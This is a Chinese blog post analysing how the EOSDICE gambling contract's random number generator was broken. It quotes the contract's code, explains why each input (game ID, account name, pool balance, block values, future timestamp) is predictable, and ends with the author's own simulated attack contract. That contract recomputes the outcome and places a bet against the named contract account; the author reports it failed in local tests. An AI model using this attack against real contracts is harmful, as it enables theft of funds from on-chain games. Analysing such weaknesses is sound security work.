EOSDIEC 随机数被攻破

EOSDICE

今天起床看到 EODICE随机数竟然被攻破了？

之前我还看过代码，觉得挺安全的，看来我还是太菜了

随机数代码如下 (来源于github)

uint8_t random(account_name name, uint64_t game_id)
{
    asset pool_eos = eosio::token(N(eosio.token)).get_balance(_self, symbol_type(S(4, EOS)).name());
    auto mixd = tapos_block_prefix() * tapos_block_num() + name + game_id - current_time() + pool_eos.amount;

    const char *mixedChar = reinterpret_cast<const char *>(&mixd);

    checksum256 result;
    sha256((char *)mixedChar, sizeof(mixedChar), &result);

    uint64_t random_num = *(uint64_t *)(&result.hash[0]) + *(uint64_t *)(&result.hash[8]) + *(uint64_t *)(&result.hash[16]) + *(uint64_t *)(&result.hash[24]);
    return (uint8_t)(random_num % 100 + 1);
}

可以看到生成随机数有几个特别的东西

game_id 这个是递增的，可以拿到
account_name 这个是玩家的用户名，可以拿到
pool_eos 这个是当前合约的余额，如果短时间没有人玩的话，是可以拿到固定的值的
tapos_block_prefix & tapos_block_num 这两个是区块内部的值，如果我用合约来攻击的话，可以拿到
current_time 当前时间戳(合约用了延时交易)

我当时看到这个合约的时候,其实有想过怎么攻击,但是发现变量比较多,应该比较难,攻击合约需要满足以下条件

需要短时间内没有人玩，要不然game_id 与 pool_eos都会变动，导致你攻击失败
必须要把攻击合约与出结果的时间控制在一个区块内，要不然 tapos_block_prefix & tapos_block_num 这两个数会发生改变
之前我一直觉得没办法攻击的是时间，因为合约取的是未来时间的（其实发现了eos 延时合约运行的话,延时多久，时间往后加就行了。。。）这点要是想明白了，说不定暴富的人就是我了…

我写的一个模拟攻击合约,不知道是不是因为本地测试的原因，tapos_block_prefix & tapos_block_num 一直对不上

其实本来想直接从合约拿到他的 game_id的，但是一直没有成功…

void charity::hi(uint64_t game_id)

{
    asset pool_eos = eosio::token(N(eosio.token)).get_balance(N(eosbocai2222), symbol_type(S(4, EOS)).name());
    pool_eos.amount += 9985;
    uint64_t t = current_time();
    t += 1000000;
    auto mixd = tapos_block_prefix() * tapos_block_num() + _self + game_id - t + pool_eos.amount;
    const char *mixedChar = reinterpret_cast<const char *>(&mixd);

    checksum256 result;
    sha256((char *)mixedChar, sizeof(mixedChar), &result);

    uint64_t random_num = *(uint64_t *)(&result.hash[0]) + *(uint64_t *)(&result.hash[8]) + *(uint64_t *)(&result.hash[16]) + *(uint64_t *)(&result.hash[24]);
    print("random", random_num % 100 + 1);

    // return (uint8_t)(random_num % 100 + 1);
    asset payout = asset(10000, S(4, EOS));
    action(
        permission_level{_self, N(active)},
        N(eosio.token), N(transfer),
        std::make_tuple(_self, N(eosbocai2222), payout, std::string("dice-rrr-50-")))
        .send();
}